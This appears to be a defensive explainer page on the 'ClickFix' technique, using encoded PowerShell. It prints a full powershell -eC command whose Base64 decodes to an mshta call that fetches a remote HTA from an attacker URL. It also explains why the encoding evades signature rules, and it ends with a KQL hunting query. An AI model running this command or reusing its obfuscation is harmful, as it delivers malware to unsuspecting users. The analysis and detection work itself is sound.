Clickfix Encoded
PowerShell -EncodedCommand hides the payload in Base64. What you see in logs is opaque. What actually runs is revealed only when decoded.
As seen (encoded)
Invokes Windows PowerShell. The payload is hidden in the following encoded string.
powershell.exe Short for -EncodedCommand. Accepts a Base64-encoded UTF-16LE string. PowerShell decodes and executes it.
-eC The actual command, encoded. Static analysis and signatures cannot see the payload. Decode to reveal.
bQBzAGgAdABhACAAIgBoAHQAdABwAHMAOgAvAC8AZwBlAHQAeQBvAHUAcgBwAGEAZwBlAHMALgBjAG8AbQAvAGQAbwB3AG4AbABvAGEAZABzAC8AYgByAHYAIgA=Decoded
Built-in Windows binary that runs the downloaded HTA from the URL.
mshta Attacker-controlled URL. The HTA contains VBScript/JScript that can run further payloads.
"https://getyourpages.com/downloads/brv"- 1
Victim runs the encoded command
The page copies the
powershell.exe -eCone-liner. The Base64 blob hides the real payload. Victim pastes via Win+R, Ctrl+V, Enter. - 2
PowerShell decodes and executes
-EncodedCommanddecodes the Base64 (UTF-16LE) and runs it. The decoded command ismshta "https://...", which fetches and executes the remote HTA.
- •Opaque to static analysis. Logs and process monitors show only Base64. No URL, no mshta, no obvious IOCs in the command line.
- •Signature bypass. String-based rules that look for mshta, http, or known URLs will not match the encoded form.
- •Same clickfix flow. Fake captcha, clipboard copy, Win+R, Ctrl+V, Enter. The only difference is the command format.
- •Hunt for -EncodedCommand. Defenders can look for powershell.exe with -e or -EncodedCommand and base64-like command lines. Decode at scale for analysis.
DeviceProcessEvents | where Timestamp > ago(7d) | where FileName =~ "powershell.exe" and (ProcessCommandLine contains "-e " or ProcessCommandLine contains "-EncodedCommand") | project Timestamp, DeviceName, AccountName, ProcessCommandLine